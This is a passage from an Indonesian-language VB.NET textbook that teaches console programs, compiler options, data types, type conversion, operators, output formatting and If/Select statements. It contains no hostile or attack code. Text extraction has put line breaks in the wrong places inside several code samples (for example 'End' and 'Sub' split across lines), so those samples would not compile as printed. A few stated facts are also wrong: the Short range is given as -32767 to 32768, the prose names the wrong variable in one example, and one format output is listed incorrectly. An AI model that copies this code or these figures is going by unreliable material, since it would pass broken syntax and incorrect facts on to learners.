You are on page 1of 241

Bahasa pemrograman VB.NET Hendra, S.T.

Bahasa Pemrograman VB.Net


Oleh : Hendra, ST.

Buku ini membahas tentang bahasa pemrograman Visual Basic .Net, dan ditujukan
kepada siapa saja yang serius untuk mempelajari bahasa pemrograman VB.Net. Untuk
memfokuskan pada bahasa VB.Net, buku ini akan menggunakan pendekatan program
Console, sehingga fokus pembelajaran lebih terfokus kepada bahasa itu sendiri.

Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .Net, tetapi
anda cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari
website Microsoft.

Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan
menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi
.Net Framework.

INDOPROG 1
Bahasa pemrograman VB.NET Hendra, S.T.

Dasar program Visual Basic


Program VB.NET anda yang pertama.

Sebagaimana tradisi dari proses belajar pemrograman komputer adalah membuat sebuah
program Hello World yang memiliki struktur yang paling sederhana sehingga kita dengan
mudah dapat melihat struktur dasar program dari bahasa pemrograman tersebut.

Module Hello
Sub Main()
System.Console.WriteLine("Hello World !") End
Sub
End Module

Ketiklah program diatas dengan text editor (notepad pada Windows ataupun edit pada Dos
Prompt), dan kemudian simpan dengan nama hello.vb (anda wajib menyimpannya dengan
ekstension .vb).

Proses Kompilasi

Agar program yang kita buat diatas dapat dijalankan oleh komputer, maka diperlukan
suatu kompiler untuk menterjemahkan perintah-perintah yang telah kita buat menjadi
instruksi yang dapat dikenali oleh sistem komputer.

Kompiler Visual Basic dapat diperoleh dengan melakukan instalasi Microsoft .NET
framework sdk v1.1.

Sesaat setelah instalasi .NET framework, maka kompiler VB telah tersedia pada
komputer anda, dan proses kompilasi dapat dilakukan dengan :

1. Mengatur path environment pada Command Prompt

path=%path%;c:\windows\microsoft.net\framework\v1.1.4322

2. Selanjutnya anda dapat mengkompilasi program anda dengan perintah :

Vbc <nama file>.vb

Pada saat kompilasi, anda wajib menulis lengkap nama file dan ekstension

Contoh :

vbc hello.vb

Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4

INDOPROG 2
Bahasa pemrograman VB.NET Hendra, S.T.

for Microsoft (R) .NET Framework version 1.1.4322.573


Copyright (C) Microsoft Corporation 1987-2002. All rights reserved.

Jika proses kompilasi tidak menampilkan adanya kesalahan, maka akan terbentuk suatu
hello.exe yang dapat dijalankan langsung pada Command Prompt.

Sesuatu hal yang perlu anda pahami adalah file hello.exe hanya dapat dijalankan pada
komputer yang sudah terinstalasi Microsoft .NET framework.

Kemudian suatu hal yang perlu anda ketahui adalah file hello.exe bukanlah berisi binari yang
merupakan kode mesin, melainkan merupakan binari yang berisi Intermediate
Language (IL) yang pada saat dijalankan akan dikompilasi menjadi bahasa mesin oleh kompiler
Just In Time (JIT) yang terdapat pada Common Language Runtime (CLR) yang merupakan
salah satu komponen dari .NET framework.

Struktur program Visual Basic

Sebagai bahasa yang telah dirancang kembali dari awal, suatu program Visual Basic
memiliki urutan berikut yang merupakan struktur dari program:

1. Option statements
2. Imports statements
3. Main procedure

Option Statements

Perintah Option akan menentukan aturan dasar penanganan kode dalam program pada saat
kompilasi.

Option Explicit

Option Explicit On/Off, menentukan apakah variabel-varibel yang digunakan dalam


program harus dideklarasikan terlebih dahulu atau tidak (defaultnya adalah On).

Contoh :

Option Explicit Off

Module Modmain
Sub Main()
a = 100000
End Sub
End Module

Yang jika di kompilasi tidak menyebabkan kesalahan walaupun variabel a tidak pernah
dideklarasikan.

Option Explicit On

INDOPROG 3
Bahasa pemrograman VB.NET Hendra, S.T.

Module Modmain
Sub Main()
a = 100000
End Sub

End Module

Yang jika dikompilasi akan menyebabkan kesalahan sebagai berikut :

Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4


for Microsoft (R) .NET Framework version 1.1.4322.573
Copyright (C) Microsoft Corporation 1987-2002. All rights reserved.

D:\BELAJA~1\coba.vb(5) : error BC30451: Name 'a' is not declared.

a = 100000

Agar terhindar dari kesalahan maka variabel a harus dideklarasikan terlebih dahulu sesuai
dengan setting Option Explicit On.

Option Explicit On

Module Modmain
Sub Main()
Dim a As Integer
a = 100000
End Sub

End Module

Option Strict

Option Strict On/Off, menentukan apakah kompiler memperbolehkan konversi nilai


implicit yang berpotensi menyebabkan kehilangan data (default adalah Off), misalnya kita
memasukan nilai dari suatu variabel dengan tipe data yang lebih lebar ke variabel dengan
tipe data yang lebih sempit (lihat pada kolom nominal storage allocation pada tabel tipe
data).

Contoh :

Option Explicit On
Option Strict On
Module Hello
Sub Main()
Dim a As Integer
Dim b As Short
a = 100000
b = a
End Sub
End Module

INDOPROG 4
Bahasa pemrograman VB.NET Hendra, S.T.

Yang jika dikompilasi akan menyebabkan pesan kesalahan berikut ini karena variabel b
yang bertipe short (16 bit), tidak dimungkinkan menampung nilai dari tipe integer (32 bit),
yang memiliki potensi kehilangan data pada saat runtime, sehingga pemakaian Option Strict
On akan menampilkan pesan kesalahan pada saat kompilasi.

Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4


for Microsoft (R) .NET Framework version 1.1.4322.573
Copyright (C) Microsoft Corporation 1987-2002. All rights reserved.

D:\BELAJA~1\coba.vb(8) : error BC30512: Option Strict On disallows implicit


conversions from 'Integer' to 'Short'.

b = a
~

Sebaliknya jika digunakan Option Strict Off:

Option Explicit On
Option Strict Off
Module Hello
Sub Main()
Dim a As Integer
Dim b As Short
a = 100000
b = a
End Sub
End Module

Maka pada saat kompilasi tidak terjadi kesalahan, tetapi pada saat runtime akan
menimbulkan runtime error (System.OverflowException), karena variabel a yang bertipe
short hanya memiliki jangkauan daya tampung dari -32767 s/d 32768.

INDOPROG 5
Bahasa pemrograman VB.NET Hendra, S.T.

Option Compare

Perintah Option Compare Binary/Text akan menentukan bagaimana bertipe data string
akan dibandingkan antara satu dengan lainnya (default adalah Binary).

Adapun aturan perbandingan pada masing-masing setting adalah sebagai berikut :

• Pada Option Compare Binary : A < B < E < Z < a < b < e < z < À < Ê < Ø < à < ê

• Pada Option Compare Text : (A=a) < (À= à) < (B=b) < (E=e) < (Ê= ê) < (Ø = ø)
< (Z=z)

Contoh :

Option Compare Binary


Module Hello
Sub Main()
Dim a,b As String
a = "ABC"
b = "abc"
System.Console.WriteLine(a = b) 'False
End Sub
End Module

Yang jika dijalankan akan menghasilkan False, karena perbandingan data berdasarkan
nilai biner dari masing-masing data string (lihat aturan untuk Binary).

INDOPROG 6
Bahasa pemrograman VB.NET Hendra, S.T.

Tetapi jika :

Option Compare Text


Module Hello
Sub Main()
Dim a,b As String
a = "ABC"
b = "abc"
System.Console.WriteLine(a = b) 'True
End Sub
End Module

Yang jika dijalankan akan menghasikan True, karena sebagai text-nya "ABC" dianggap
sama dengan "abc" tanpa melihat huruf besar atau kecil (lihat aturan untuk Text).

Imports Statements

Perintah Imports berfungsi memudahkan pengetikan tanpa harus mengetik nama class
didalam namespace yang di import.

Contoh :

Module Hello
Sub Main()
System.Console.WriteLine("Hello World !") End
Sub
End Module

Yang setelah adanya Imports System penulisan Console.WriteLine menjadi sebagai


berikut.

Imports System
Module Hello
Sub Main()
Console.WriteLine("Hello World !") End
Sub
End Module

Dalam hal ini kita tidak perlu lagi mengetik System.Console.WriteLine, tapi cukup
Console.WriteLine, karena kita telah melakukan Imports System.

Main Procedure

Procedure Main merupakan titik awal dari program anda - merupakan procedure yang
pertama kali dieksekusi ketika anda menjalankan kode anda. Jadi apa yang ingin anda
jalankan pertama kali pada program anda ditempatkan pada procedure main ini. Ada
empat cara penulisan Main, yaitu sebagai Sub atau Function yang memiliki parameter
atau tidak.

INDOPROG 7
Bahasa pemrograman VB.NET Hendra, S.T.

• Sub Main()
• Sub Main(ByVal CmdArgs() As String) •
Function Main() As Integer
• Function Main(ByVal CmdArgs() As String) As Integer

Bentuk procedure yang paling sering digunakan adalah Sub Main( ) seperti pada contoh
yang sudah-sudah.

Contoh Sub Main dengan parameter :

Imports System
Module Hello
Sub Main(ByVal CmdArgs() As String)
Dim i As Integer
Console.WriteLine("Jumlah Parameter :" & CmdArgs.Length()) For
i = 0 to CmdArgs.Length()-1
Console.WriteLine("Parameter :" & i.ToString() & "adalah :"
& CmdArgs(i))
Next
End Sub
End Module

Yang kalau dieksekusi dengan

Coba Hello World


Jumlah Parameter :2
Parameter :0 adalah :Hello
Parameter :1 adalah :World

Dalam hal ini kita menjalankan program Coba.exe pada command prompt dengan
mengirim dua parameter yaitu kata Hello dan World yang dianggap sebagai array bertipe
string.

Catatan :
Index Array dimulai dari 0, sehingga pada contoh diatas looping dimulai dari 0 s/d
CmdArgs.Length()-1.

Program yang menggunakan parameter jarang digunakan pada lingkungan Windows, dan
sering digunakan pada program di lingkungan Console.

Pemberian komentar
Jika kita hari ini membuat program, dan pada saat yang sama semua logika serta rumusan
dapat kita ingat dengan baik, tetapi bagaimana kalau kita membaca kembali program yang
pernah kita buat untuk 3 bulan yang lalu, apakah anda masih mengingatnya ?
Bagaimana kita membuat program kita mudah di pahami kembali ? Tentu saja dengan
memberikan keterangan secukupnya.

INDOPROG 8
Bahasa pemrograman VB.NET Hendra, S.T.

Pada Visual Basic pembuatan keterangan dapat menggunakan simbol ' (petik tunggal)
maupun keyword REM.

Contoh :
' Ini adalah keterangan
REM Ini adalah keterangan

Type Data
Sebagaimana bahasa pemrograman lainnya, Visual Basic menyediakan berbagai type
data yang dapat digunakan oleh pemrogram sesuai dengan konteks pemakaiannya. Type data
pada Visual Basic dibagi atas dua kelompok besar yaitu Value Type (Tipe data primitif) dan
Reference (String, Array dan Objek).

Berikut ini adalah tabel tipe data pada VB disertai dengan alokasi storage yang
dibutuhkan serta jangkauan nilai yang dapat ditampung oleh masing-masing tipe.

Visual Basic Common language Nominal Value range


type runtime type storage
structure allocation
Boolean System.Boolean 2 bytes True or False.
Byte System.Byte 1 byte 0 through 255 (unsigned).
Char System.Char 2 bytes 0 through 65535 (unsigned).
Date System.DateTime 8 bytes 0:00:00 on January 1, 0001 through 11:59:59
PM on December 31, 9999.
Decimal System.Decimal 16 bytes 0 through +/-
79,228,162,514,264,337,593,543,950,335 with
no decimal point;
0 through +/-
7.9228162514264337593543950335 with 28
places to the right of the decimal; smallest
nonzero number is
+/-0.0000000000000000000000000001 (+/-
1E-28).
Double System.Double 8 bytes -1.79769313486231570E+308 through
(double- -4.94065645841246544E-324 for negative
precision values; 4.94065645841246544E-324 through
floating-point) 1.79769313486231570E+308 for positive
values.
Integer System.Int32 4 bytes -2,147,483,648 through 2,147,483,647.
Long System.Int64 8 bytes -9,223,372,036,854,775,808 through
(long integer) 9,223,372,036,854,775,807.
Object System.Object (class) 4 bytes Any type can be stored in a variable of type
Object.
Short System.Int16 2 bytes -32,768 through 32,767.
Single System.Single 4 bytes -3.4028235E+38 through -1.401298E-45 for
(single- negative values; 1.401298E-45 through
precision 3.4028235E+38 for positive values.
floating-point)
String System.String (class) Depends on 0 to approximately 2 billion Unicode characters.
(variable- implementing
length) platform
User- (inherits from Depends on Each member of the structure has a range
Defined System.ValueType) implementing determined by its data type and independent of
Type platform the ranges of the other members.

INDOPROG 9
Bahasa pemrograman VB.NET Hendra, S.T.

(structure)

Walaupun dewasa ini, memori dan media penyimpanan data tidak menjadi masalah
seperti pada awal kelahiran komputer, tetapi hendaklah programmer bijaksana dalam
pemakaian type data berkaitan dengan perfomance yang dihasilkan.

Deklarasi Variabel

Pemrogram yang baik tentu saja menggunakan pendekatan yang terstruktur dalam
pengembangan program, salah satu ciri dari program yang terstruktur adalah
mendeklarasikan semua variabel yang digunakan dalam program.

Pada Visual Basic printah Dim digunakan untuk mendeklarasikan variabel dan
memberikan nilai awal kepadanya.

Contoh :

Dim Harga, Jumlah As Single


Dim Kuantitas As Integer = 10
Dim Lanjutkan As Boolean = True
Dim Keterangan As String = "Visual Studio .NET"

Catatan :

Pada Visual Basic pemakaian variabel harus dideklarasikan terlebih dahulu, jika tidak anda
akan mendapatkan kesalahan kompiler, karena default setting Explicit pada Visual Basic
adalah Option Explicit On.

Kemudian Jika anda tidak memberikan nilai awal pada suatu variabel pada
dideklarasikan, maka nilai berikut akan diberikan sebagai nilai awal variabel tersebut :

• 0 untuk semua tipe data numerik (termasuk Byte).


• Binary 0 untuk Char.
• Nothing untuk semua tipe reference (termasuk Object, String, dan semua array). •
False untuk Boolean.
• 12:00 AM pada 1 Januari 1 untuk Date.

Sesuatu hal yang perlu anda perhatikan adalah daya tampung variabel berdasarkan tipe
yang ditentukan, jika anda memasukan nilai diluar dari daya tampung variabel, suatu
kesalahan overflow exception akan terjadi.

Konversi Tipe
Konversi Tipe pada Visual Basic dapat dilakukan secara Implicit maupun Explicit,
konversi secara Implicit dilakukan tanpa menggunakan fungsi bantu casting tertentu
seperti Cbool, Cbyte, Cchar, Cdate, Cdec, CDbl, Cint, CLng, Cobj, Cshort, CSng, CStr.

INDOPROG 10
Bahasa pemrograman VB.NET Hendra, S.T.

Contoh :

Module Test

Sub Main()
Dim intValue As Integer = 123
Dim longValue As Long = intValue
Console.WriteLine(intValue & " = " & longValue) End Sub

End Module

Sedangkan secara Explicit dilakukan dengan menggunakan fungsi bantu casting.

Module Test

Sub Main()
Dim longValue As Long = 134
Dim intValue As Integer = CInt(longValue)
Console.WriteLine(longValue & " = " & intValue) End Sub

End Module

Pada konversi secara Implicit, setting Option Strict akan mempengaruhi apakah konversi dari
tipe yang lebih lebar ke tipe yang lebih sempit (Misalnya dari Integer 32 bit ke Short 16 bit)
diperbolehkan oleh kompiler atau tidak.

Contoh berikut akan melakukan konversi dari Integer 32 bit ke Short 16 bit.

Option Strict On
Option Explicit On

Imports System
Public Module ModKali
Sub Main()
Dim i, j As Byte
Dim a As Integer = 40000
Dim b As Short
b = a
Console.WriteLine(b)
End Sub
End Module

Yang kalau dikompilasi akan menghasilkan error sebagai berikut


Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4
for Microsoft (R) .NET Framework version 1.1.4322.573
Copyright (C) Microsoft Corporation 1987-2002. All rights reserved.

D:\BELAJA~1\kali.vb(10) : error BC30512: Option Strict On disallows

INDOPROG 11
Bahasa pemrograman VB.NET Hendra, S.T.

implicit conversions from 'Integer' to 'Short'.

b = a
~

Hal tersebut dapat diperbaiki dengan menggunakan fungsi ToInt16 yang terdapat pada
System.Convert yang artinya konversi memang dikehendaki oleh programmer

Contoh :

Option Strict On
Option Explicit On

Imports System
Public Module ModKali
Sub Main()
Dim i, j As Byte
Dim a As Integer = 40000
Dim b As Short
b = System.Convert.ToInt16(a)
Console.WriteLine(b)
End Sub
End Module

Tetapi karena nilai 40000 tidak dapat ditampung oleh type data short, maka akan
menghasilkan error pada saat runtime : System.OverflowException.

Konversi data secara Explicit dapat juga memanfaatkan fungsi bantu casting yang
terdapat pada Objek System Convert sebagai berikut :

Function Purpose
ToBoolean Converts a value to a Boolean (True or False).
ToByte Converts a value to an 8-bit Byte in the range 0 to 255.
ToChar Converts a value to a 2-byte Unicode character.
ToDateTime Converts a value to a DateTime object.
ToDecimal Converts a value to a 12-byte Decimal.
ToDouble Converts a value to an 8-byte Double.
ToInt16 Converts a value to a 2-byte Short.
ToInt32 Converts a value to a 4-byte Integer.
ToInt64 Converts a value to an 8-byte Integer.
ToSByte Converts a value to an 8-bit signed value in the range -128 to 127.
ToSingle Converts a value to a 4-byte Single.
ToString Converts a value to its String representation.
ToUInt16 Converts a value to a 2-byte unsigned Short in the range 0 to 65,535.
ToUInt32 Converts a value to a 4-byte unsigned Integer in the range 0 to 4,294,967,295.
ToUInt64 Converts a value to an 8-byte unsigned long Integer in the range 0 to
18,446,744,073,709,551,615.

Catatan :
Berdasarkan uji coba yang dilakukan fungsi bantu konversi tipe seperti Cint, Cdate,
CSng,CDbl, Cdec dan kadang-kadang fungsi bantu konversi memiliki unjuk kerja yang
lebih baik seperti yang ditunjukan oleh tabel berikut ini adalah hasil konversi dengan
Integer.Pars, Convert.ToInt32, dibandingkan dengan CInt

INDOPROG 12
Bahasa pemrograman VB.NET Hendra, S.T.

String Integer.Parse Convert.ToInt32 Cint

"12,500" Error Error 12500

"12" 12 12 12

"12500" 12500 12500 12500

"12500.00" Error Error 12500

"$12,500.00" Error Error 12500

"$12,500.10" Error Error 12500

"&HFF" (VB syntax for the hex value FF) 255 Error Error

Operator
Berdasarkan pengalaman pemrograman, pemakaian operator tidak dapat dilepaskan dari
pekerjaan pemrograman, adapun operator pada Visual Basic adalah sebagai berikut :

Operator aritmatika : *, /, \, ^, Mod, +, dan -


Operator relasi : =, <>, <, >, <=, and >=

Catatan :

Pada tipe data string, prilaku perbandingan sangat dipengaruhi oleh setting dari Option
Compare. (default adalah Option Compare Binary)

Pada Option Compare Binary : A < B < E < Z < a < b < e < z < À < Ê < Ø < à < ê < ø
Pada Option Compare Text : (A=a) < (À= à) < (B=b) < (E=e) < (Ê= ê) < (Ø = ø) < (Z=z)

Operator logika And, AndAlso, Or, OrElse, and Xor

Catatan :

• Jika operand pertama pada suatu operasi AndAlso adalah False, maka hasil
ekspresi tersebut adalah False. Sebaliknya, suatu operasi logika And dilakukan
terhadap kedua operand.
• Jika operand pertama dari operasi OrElse adalah True, maka hasil ekspresi
adalah True. Sebaliknya, suatu operasi logika Or akan dilakukan terhadap kedua
operand.

Operator pengabungan : &

Operator bit shift : << dan >>

Contoh :
Dim Pattern As Short = 192 ' Bit pattern is 0000 0000 1100 0000. Dim
Result1, Result2, Result3, Result4, Result5 As Short

INDOPROG 13
Bahasa pemrograman VB.NET Hendra, S.T.

Result1 = Pattern << 0 ' Result is 192 (0000 0000 1100 0000).
Result2 = Pattern << 4 ' Result is 3072 (0000 1100 0000 0000).
Result3 = Pattern << 9 ' Result is -32768 (1000 0000 0000 0000).
Result4 = Pattern << 17 ' Result is 384 (0000 0001 1000 0000).
Result5 = Pattern << -1 ' Result is 0 (shifted 15 places to left).

Dim Pattern As Short = 2560 ' Bit pattern is 0000 1010 0000 0000.
Dim Result1, Result2, Result3, Result4, Result5 As Short
Result1 = Pattern >> 0 ' Result is 2560 (0000 1010 0000 0000).
Result2 = Pattern >> 4 ' Result is 160 (0000 0000 1010 0000).
Result3 = Pattern >> 10 ' Result is 2 (0000 0000 0000 0010).
Result4 = Pattern >> 18 ' Result is 640 (0000 0010 1000 0000).
Result5 = Pattern >> -1 ' Result is 0 (shifted 15 places to right).

Operator bit shift bekerja pada tingkat bit, yang artinya jika 192 pada tipe data short
(desimal/basis sepuluh) maka representasinya dalam bentuk biner adalah 0000 0000 1100 0000
(16 bit).

Kemudian hal lain yang perlu diketahui adalah bit mask untuk masing-masing tipe data
adalah berbeda, berikut ini adalah tabel bitmask :

LeftOperand Type SizeMask


Byte 7 (&H7)
Short 15 (&HF)
Integer 31 (&H1F)
Long 63 (&H3F)

Perhatikan kembali contoh diatas

Dim Pattern As Short = 2560 ' Bit pattern is 0000 1010 0000 0000.

Perintah shift right 18 untuk tipe Short akan menghasilkan operasi yang sama dengan shift
right 2 ( hasil operasi 18 And 15 = 2).
Result4 = Pattern >> 18 ' Result is 640 (0000 0010 1000 0000).

Operator perbandingan Like, dengan aturan sebagai berikut :

• Karakter ? mewakili satu karakter sembarang.


• Karakter * mewakili tidak ada karakter atau sekumpulan karakter sembarang. •
Karakter # mewakili satu sembarang digit (0-9).
• Suatu daftar karakter dalam kurung siku ([ab ]) mewakili salah satu karakter
dalam daftar tersebut.
• Suatu daftar dari karakter dalam kurung siku dan diawali dengan suatu tanda !
([!ab ]) mewakili satu karakter yang tidak ada dalam daftar tersebut.

Contoh :

Dim myCheck As Boolean


myCheck = "F" Like "F" Does "F" match "F"? Returns True.
myCheck = "F" Like "f" Does "F" match "f"? Returns False.
myCheck = "F" Like "FFF" Does "F" match "FFF"? Returns False.

INDOPROG 14
Bahasa pemrograman VB.NET Hendra, S.T.

myCheck = "aBBBa" Like "a*a" Does "aBBBa" have a "a" at the beginning, an "a" at
the end, and any number of characters in between?
Returns True.
myCheck = "F" Like "[A-Z]" Does "F" occur in the set of characters from A to Z?
Returns True.
myCheck = "F" Like "[!A-Z]" Does "F" NOT occur in the set of characters from A to
Z? Returns False.
myCheck = "a2a" Like "a#a" Does "a2a" begin and end with an "a" and have any
single-digit number inbetween? Returns True.
myCheck = "aM5b" Like "a[L-P]#[!c-e]" Does "aM5b" fit the following pattern: Begins with "a",
has and character from the set L through P, followed
byb any single-digit number, and finally contains any
character excluded from the character set c through e.
Returns True.
myCheck = "BAT123khg" Like "B?T*" Does "BAT123khg" fit the following pattern: Begins
with "B", followed by any single character, followed by
a "T" and finally zero or more characters of any type.
Returns True
myCheck = "CAT123khg" Like "B?T*" Does "CAT123khg" fit the following pattern: Begins
with "B", followed by any single character, followed by
a "T" and finally zero or more characters of any type.
Returns False.

Operator assignment : =, ^=, *=, /=, \=, +=, -=, <<=, >>=, &=

Contoh :

Dim a As Integer = 2
Dim b As Integer = 3
a += b // akan menghasilkan 5 pada variabel a, atau sama dengan a = a+b

Catatan :
Sesuatu hal yang penting bagi programmer pemula adalah memahami urutan operasi dari
operator, pada Visual Basic menggunakan urutan operasi berikut ini :

Operator Aritmatika dan Pengabungan


Exponentiation (^)
Unary negation (-)
Multiplication and division (*, /)
Integer division (\)
Modulus arithmetic (Mod)
Addition and subtraction (+, -), string concatenation (+)
String concatenation (&)
Arithmetic bit shift (<<, >>)

Operator Perbandingan
All comparison operators (=, <>, <, <=, >, >=, Like, Is, TypeOf...Is)

Operator Logika dan Bitwise


Negation (Not)
Conjunction (And, AndAlso)
Disjunction (Or, OrElse, Xor)

INDOPROG 15
Bahasa pemrograman VB.NET Hendra, S.T.

Contoh :
Dim A, B, C, D, E, F, G As Double
A = 3.0
B = 6.0
C = 4.0
D = 2.0
E = 1.0
F = A + B - C / D * E
' The previous line sets F to 7.0. Because of natural operator ' precedence,
it is exactly equivalent to the following line: F = (A + B) - ((C
/ D) * E)
' The following line overrides the natural operator precedence: G =
A + (B - C) / (D * E)
' The previous line sets G to 4.0.

Dengan memahami urutan operasi akan sangat membantu untuk menghindari kesalahan
dalam penulisan rumus yang dapat menyebabkan logika error.

Konstanta pada VB.NET

Pemakaian konstanta sangat membantu dalam pengembangan program yang terstruktur,


dengan adanya konstanta, pemeliharaan program menjadi lebih sederhana, dan biasanya
konstanta dideklarasikan pada awal program, sehingga jika terjadi perubahan besaran
pada konstanta, kita cukup mengubahnya pada awal program tanpa harus memeriksa
koding seperti yang harus dilakukan kalau kita tidak menggunakan fasilitas konstanta.

Const GRAVITASI As Single = 9.8

Catatan :

Sebaiknya konstanta diketik semuanya huruf besar untuk memudahkan pembedaan antara
variabel dengan konstanta, dan penamaan konstanta hendaknya disesuaikan dengan
konteks yang diwakili oleh konstanta tersebut.

Enumerated pada VB.NET


Pemakaian enumerated type akan sangat membantu dalam pekerjaan pemrograman
sehingga menjadi lebih mudah ditulis, dibaca, dan dimaintain dari pada menggunakan tipe
data primitif.

Public Enum InterfaceColors


MistyRose = &HE1E4FF&
SlateGray = &H908070&
DodgerBlue = &HFF901E&
DeepSkyBlue = &HFFBF00&
SpringGreen = &H7FFF00&
ForestGreen = &H228B22&
Goldenrod = &H20A5DA&

INDOPROG 16
Bahasa pemrograman VB.NET Hendra, S.T.

Firebrick = &H2222B2&
End Enum

Perintah input Output Console

Salah satu bentuk program yang dapat dikembangkan dengan menggunakan Visual Basic
adalah program Console. Program Console adalah program yang menggunakan basis teks
pada lingkungan Command Prompt (bentuk ini tidak tersedia pada Visual Basic versi
sebelumnya).

Program Console adalah salah satu fasilitas yang sangat memudahkan bagi pemula yang
ingin mempelajari bahasa Visual Basic dengan baik, karena program Console
menggunakan perintah I/O yang cukup sederhana dan bersih dari perintah input output yang
rumit sehingga kita dapat lebih terfokus.

System.Console.Write(ekspresi)
System.Console.WriteLine(ekspresi)
Variabel = System.Console.ReadLine()

Jika anda melakukan imports namespace system, maka penulisan dapat disingkat menjadi

Console.Write(ekspresi)
Console.WriteLine(ekspresi)
Variabel = Console.ReadLine()

Catatan :
Perbedaan antara Write dengan WriteLine adalah pada WriteLine pencetakan akan
diakhiri dengan suatu Carriage Return.

Format pada WriteLine

Visual Basic telah melengkapi berbagai fasilitas format yang sangat berguna untuk
melakukan pencetakan data, terutama data type numerik yang kadang-kadang perlu
diformat sedemikian rupa untuk memudahkan pembacaan.

Format pencetakan pada WriteLine dapat menggunakan place holder {x}, dimana x
adalah nomor urutan dari parameter berikutnya yang dihitung mulai dari 0 (nol)..

Contoh :
Console.WriteLine("The number is {0}", 3 + 7)
Console.WriteLine("The result of {0} + {1} = {2}", 3, 7, 3+7)
Console.WriteLine("See decimals {0, 12:f1}", 0.123456789)
Console.WriteLine("See decimals {0, 12:f9}", 0.123456789)
Console.WriteLine("The value is {0, 0:000.00}", 0.123456789)
Console.WriteLine("The value is {0, 0:###.##}", 1234.56789)

INDOPROG 17
Bahasa pemrograman VB.NET Hendra, S.T.

Masing-masing akan menghasilkan

The number is 10
The result of 3 + 7 = 10
See decimal 0.1
See decimal 0.123456789
The value is 001.23
The value is 1234.57

Contoh Format String :

Format Culture Data type Value Output


C en-US Double 12345.6789 $12,345.68
C de-DE Double 12345.678 12.345,68 DM
D en-US Int32 12345 12345
D8 en-US Int32 12345 00012345
E en-US Double 12345.6789 1.234568E+004
E10 en-US Double 12345.6789 1.2345678900E+004
E fr-FR Double 12345.6789 1,234568E+004
e4 en-US Double 12345.6789 1.2346e+004
F en-US Double 12345.6789 12345.68
F es-ES Double 12345.6789 12345,68
F0 en-US Double 12345.6789 123456
F6 en-US Double 12345.6789 12345.678900
G en-US Double 12345.6789 12345.6789
G7 en-US Double 12345.6789 12345.68
G en-US Double 0.0000023 2.3E-6
G en-US Double 0.0023 0.0023
G2 en-US Double 1234 1.2E3
G en-US Double Math.PI 3.14159265358979
N en-US Double 12345.6789 12,345.68
N sv-SE Double 12345.6789 12 345,68
N4 en-US Double 123456789 123,456,789.0000
P en-US Double .126 12.60 %
r en-US Double Math.PI 3.141592653589793
x en-US Int32 0x2c45e 2c45e
X en-US Int32 0x2c45e 2C45E
X8 en-US Int32 0x2c45e 0002C45E
x en-US Int32 123456789 75bcd15

Latihan :

1. Buatlah program untuk menghitung luas persegi panjang.

Jawab :

Option Explicit On
Public Module modmain
Sub Main()
Dim Panjang As System.Int32
Dim Lebar As System.Int32
Dim Luas As System.Int64
System.Console.Write("Masukkan Panjang :")

INDOPROG 18
Bahasa pemrograman VB.NET Hendra, S.T.

Panjang = System.Console.ReadLine()
System.Console.Write("Masukan Lebar :")
Lebar = System.Console.ReadLine()
Luas = Panjang*Lebar
System.Console.WriteLine("Luas Persegi Panjang adalah :" &
Luas.ToString())
End Sub
End Module

atau

Option Explicit On
Imports System

Public Module modmain

Sub Main()
Dim Panjang As Integer
Dim Lebar As Integer
Dim Luas As Long
Console.Write("Masukkan Panjang :")
Panjang = Console.ReadLine()
Console.Write("Masukan Lebar :")
Lebar = Console.ReadLine()
Luas = Panjang*Lebar
Console.WriteLine("Luas Persegi Panjang adalah :" & Luas.ToString())
End Sub

End Module

Simpan dengan nama file persegi.vb

Set path=%path%;c:\windows\microsoft.net\framework\v1.1.4322

VBC persegi.vb
Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4
for Microsoft (R) .NET Framework version 1.1.4322.573
Copyright (C) Microsoft Corporation 1987-2002. All rights reserved.

Persegi

2. Buatlah program untuk menghitung luas lingkaran dengan pemakaian


konstanta.

Option Explicit On
Imports System
Public Module lingkaran

Const PI As Single = 3.14

Sub Main()

Dim R As Single
Dim Luas As Double

INDOPROG 19
Bahasa pemrograman VB.NET Hendra, S.T.

Console.Write("Masukkan Jari-jari :") R =


Console.ReadLine()
Luas = PI * R^2
Console.WriteLine("Luas : {0, 10:f2}",Luas)'10 tempat 2 desimal

End Sub
End Module

INDOPROG 20
Bahasa pemrograman VB.NET Hendra, S.T.

Struktur Keputusan dan Perulangan


Perintah If...Then...Else
Salah satu tujuan pemrograman komputer adalah mengambil tugas rutin manusia untuk
dalam mengambil keputusan-keputusan yang dapat diprogram. Misalnya seorang Dosen
dalam menentukan Grade (A,B,C,D, atau E) nilai akhir mahasiswa dengan kondisi
sebagai berikut :

Jika Nilai >= 85 Kemudian


Cetak "A"
Jika tidak dan Jika Nilai >= 70 Kemudian
Cetak "B"
Jika tidak dan Jika Nilai >= 60 Kemudian
Cetak "C"
Jika tidak dan Jika Nilai >= 25 Kemudian
Cetak "D"
Jika tidak
Cetak "E"
Akhir dari keputusan

Logika keputusan diatas dapat diprogram pada Visual Basic dengan menggunakan syntax
penulisan sebagai berikut :

If condition [ Then ]
[ statements ]
[ ElseIf elseifcondition [ Then ]
[ elseifstatements ] ]
[ Else
[ elsestatements ] ]
End If

Contoh :

Option Explicit On
Imports System
Module ModIf
Sub Main()
Dim Nilai As Single
Console.Write("Masukkan Nilai Akhir :") Nilai
= Console.ReadLine()
If Nilai >= 85 Then
Console.WriteLine("A")
ElseIf Nilai >= 70 Then
Console.WriteLine("B")
ElseIf Nilai >= 60 Then
Console.WriteLine("C")
ElseIf Nilai >= 25 Then
Console.WriteLine("D")

INDOPROG 21
Bahasa pemrograman VB.NET Hendra, S.T.

Else
Console.WriteLine("E")
End If
End Sub
End Module

Perintah Select...Case
Jika statement If melakukan pemilihan berdasarkan kondisi, maka perintah Select
melakukan pemilihan berdasarkan nilai ekspresi dengan syntax sebagai berikut :

Select [ Case ] testexpression


[ Case expressionlist
[ statements ] ]
[ Case Else
[ elsestatements ] ]
End Select

Contoh :

Option Explicit On
Imports System
Module ModHari
Sub Main()
Dim Hari As Byte
Console.Write("Masukkan No Hari :") Hari
= Console.ReadLine()
Select Case Hari
Case 1
Console.WriteLine("Senin")
Case 2
